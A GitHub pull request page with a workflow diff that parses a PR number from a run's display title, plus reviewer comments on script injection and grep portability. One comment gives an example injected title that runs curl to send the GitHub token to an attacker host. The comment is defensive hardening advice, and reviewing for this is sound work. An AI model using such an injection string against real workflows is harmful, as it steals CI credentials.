-
Notifications
You must be signed in to change notification settings - Fork 32
fix: auto-fix PR discovery via run-name embedding #757
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -30,14 +30,15 @@ jobs: | |
| BRANCH="${{ github.event.workflow_run.head_branch }}" | ||
| FAILED_WORKFLOW="${{ github.event.workflow_run.name }}" | ||
| FAILED_RUN="${{ github.event.workflow_run.id }}" | ||
| DISPLAY_TITLE="${{ github.event.workflow_run.display_title }}" | ||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 🟡 MODERATE — Script injection via inline expression expansion (Flagged by: 2/3 reviewers)
Current risk is low because Suggested fix — pass through - name: Find associated PR
id: find-pr
env:
DISPLAY_TITLE: $\{\{ github.event.workflow_run.display_title }}
run: |
...
echo "Display title: $DISPLAY_TITLE"
PR_NUMBER=$(echo "$DISPLAY_TITLE" | grep -oP 'PR #\K[0-9]+' || true)The same pattern applies to the existing |
||
| echo "Branch: $BRANCH" | ||
| echo "Failed workflow: $FAILED_WORKFLOW" | ||
| echo "Failed run: $FAILED_RUN" | ||
| echo "Display title: $DISPLAY_TITLE" | ||
|
|
||
| # workflow_dispatch runs execute on main but carry the PR number | ||
| # in their inputs. Try reading it from the API first. | ||
| PR_NUMBER=$(gh api "repos/${{ github.repository }}/actions/runs/$FAILED_RUN" \ | ||
| --jq '.inputs.pr_number // empty' 2>/dev/null || true) | ||
| # The dispatching workflow embeds "PR #NNN" in run-name. | ||
| # Parse it from the display title first. | ||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 🟢 MINOR —
Current risk: negligible — this job is pinned to If portability is ever desired, a POSIX-compatible alternative: PR_NUMBER=$(echo "$DISPLAY_TITLE" | sed -n 's/.*PR #\([0-9]*\).*/\1/p' || true) |
||
| PR_NUMBER=$(echo "$DISPLAY_TITLE" | grep -oP 'PR #\K[0-9]+' || true) | ||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 🟢 MINOR —
Not a current bug, but a portability concern. A POSIX-compatible alternative if desired: PR_NUMBER=$(echo "$DISPLAY_TITLE" | grep -oE 'PR #[0-9]+' | grep -oE '[0-9]+' | head -1 || true)Or using bash built-in regex: [[ "$DISPLAY_TITLE" =~ PR\ #([0-9]+) ]] && PR_NUMBER="\$\{BASH_REMATCH[1]}" || PR_NUMBER="" |
||
|
|
||
| # Fall back to branch-based lookup for push/PR-triggered runs | ||
| if [ -z "$PR_NUMBER" ]; then | ||
|
|
||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🟡 MODERATE — Script injection pattern via
$\{\{ }}in shell context$\{\{ github.event.workflow_run.display_title }}is interpolated directly into therun:script before the shell executes. This is the well-documented anti-pattern that can lead to script injection if the interpolated value ever contains shell metacharacters (",`,$,\).Current risk is low because:
verify-build.ymlandpolypilot-integration.ymlcan trigger this (locked byworkflows:filter)run-nameonly embedsinputs.pr_number, which istype: number— GitHub validates it's numericdisplay_titlewill only ever be something likeVerify Build — PR #757Failing scenario (theoretical): If a future workflow added to the
workflows:list included untrusted user input in itsrun-name, an attacker could craft a display title like" ; curl attacker.com/steal?t=$GH_TOKEN ; echo "and it would execute.Suggested hardening — pass it as an environment variable instead of
$\{\{ }}interpolation:This would make the step robust regardless of what
display_titlecontains.